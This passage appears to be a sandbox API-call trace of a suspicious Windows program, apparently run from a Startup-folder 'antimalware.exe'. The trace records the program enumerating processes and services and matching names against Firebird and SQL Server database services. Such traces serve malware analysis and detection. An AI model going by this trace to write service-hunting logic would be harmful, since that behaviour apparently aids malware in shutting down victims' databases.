	[0142.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0142.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0142.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0142.715] lstrlenW (lpString="SENS") returned 4
	[0142.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0142.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0142.715] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0142.715] lstrlenW (lpString="ShellHWDetection") returned 16
	[0142.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0142.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0142.715] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0142.715] lstrlenW (lpString="Spooler") returned 7
	[0142.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0142.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0142.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0142.715] lstrlenW (lpString="StateRepository") returned 15
	[0142.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0142.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0142.715] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0142.715] lstrlenW (lpString="SysMain") returned 7
	[0142.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0142.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0142.715] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0142.715] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0142.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0142.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0142.715] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0142.715] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0142.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0142.716] lstrlenW (lpString="Themes") returned 6
	[0142.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0142.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0142.716] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0142.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0142.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0142.716] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0142.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0142.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0142.716] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0142.716] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0142.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0142.716] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0142.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0142.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0142.716] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0142.716] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0142.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4591700 | out: hHeap=0x4f0000) returned 1
	[0142.716] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x49c
	[0143.761] Process32FirstW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0143.762] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0143.763] lstrlenW (lpString="System") returned 6
	[0143.763] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0143.764] lstrlenW (lpString="smss.exe") returned 8
	[0143.764] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0143.765] lstrlenW (lpString="csrss.exe") returned 9
	[0143.765] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0143.766] lstrlenW (lpString="wininit.exe") returned 11
	[0143.766] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0143.767] lstrlenW (lpString="csrss.exe") returned 9
	[0143.767] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0143.768] lstrlenW (lpString="winlogon.exe") returned 12
	[0143.768] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0143.769] lstrlenW (lpString="services.exe") returned 12
	[0143.769] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0143.770] lstrlenW (lpString="lsass.exe") returned 9
	[0143.770] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0143.771] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0143.771] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0143.772] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0143.772] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.773] lstrlenW (lpString="svchost.exe") returned 11
	[0143.773] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.774] lstrlenW (lpString="svchost.exe") returned 11
	[0143.774] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0143.775] lstrlenW (lpString="dwm.exe") returned 7
	[0143.775] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.776] lstrlenW (lpString="svchost.exe") returned 11
	[0143.776] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.777] lstrlenW (lpString="svchost.exe") returned 11
	[0143.777] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.778] lstrlenW (lpString="svchost.exe") returned 11
	[0143.778] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.778] lstrlenW (lpString="svchost.exe") returned 11
	[0143.779] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.779] lstrlenW (lpString="svchost.exe") returned 11
	[0143.780] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.780] lstrlenW (lpString="svchost.exe") returned 11
	[0143.780] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.781] lstrlenW (lpString="svchost.exe") returned 11
	[0143.781] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.782] lstrlenW (lpString="svchost.exe") returned 11
	[0143.783] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.783] lstrlenW (lpString="svchost.exe") returned 11
	[0143.784] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.784] lstrlenW (lpString="svchost.exe") returned 11
	[0143.784] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0143.785] lstrlenW (lpString="spoolsv.exe") returned 11
	[0143.785] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.786] lstrlenW (lpString="svchost.exe") returned 11
	[0143.786] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0143.787] lstrlenW (lpString="audiodg.exe") returned 11
	[0143.787] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0143.788] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0143.788] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0143.789] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0143.789] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0143.790] lstrlenW (lpString="sihost.exe") returned 10
	[0143.790] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0143.791] lstrlenW (lpString="Memory Compression") returned 18
	[0143.791] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0143.792] lstrlenW (lpString="svchost.exe") returned 11
	[0143.792] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0143.793] lstrlenW (lpString="taskhostw.exe") returned 13
	[0143.793] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0143.794] lstrlenW (lpString="msoia.exe") returned 9
	[0143.794] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0143.795] lstrlenW (lpString="taskhostw.exe") returned 13
	[0143.795] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0143.796] lstrlenW (lpString="explorer.exe") returned 12
	[0143.796] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0143.797] lstrlenW (lpString="SearchUI.exe") returned 12
	[0143.797] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0143.889] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0143.889] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0143.890] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0143.890] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0143.892] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0143.892] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0143.893] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0143.893] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0143.894] lstrlenW (lpString="cmd.exe") returned 7
	[0143.894] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0143.895] lstrlenW (lpString="conhost.exe") returned 11
	[0143.895] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0143.896] lstrlenW (lpString="mode.com") returned 8
	[0143.896] Process32NextW (in: hSnapshot=0x49c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0143.897] CloseHandle (hObject=0x49c) returned 1
	[0143.897] Sleep (dwMilliseconds=0x1f4) 
	[0144.437] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45aff58
	[0144.438] EnumServicesStatusExW (in: hSCManager=0x45aff58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0144.443] GetLastError () returned 0xea
	[0144.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b58) returned 0x459e560
	[0144.443] EnumServicesStatusExW (in: hSCManager=0x45aff58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x459e560, cbBufSize=0x1b58, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x459e560, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0144.459] CloseServiceHandle (hSCObject=0x45aff58) returned 1
	[0144.462] lstrlenW (lpString="AppXSvc") returned 7
	[0144.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0144.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0144.463] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0144.463] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0144.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0144.463] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0144.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0144.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0144.463] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0144.463] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0144.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0144.463] lstrlenW (lpString="Audiosrv") returned 8
	[0144.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0144.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0144.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0144.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0144.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0144.466] lstrlenW (lpString="BFE") returned 3
	[0144.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0144.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0144.466] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0144.466] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0144.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0144.466] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0144.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0144.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0144.467] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0144.467] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0144.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0144.467] lstrlenW (lpString="CDPSvc") returned 6
	[0144.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0144.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0144.467] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0144.467] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0144.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0144.467] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0144.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0144.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0144.467] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0144.467] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0144.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0144.467] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
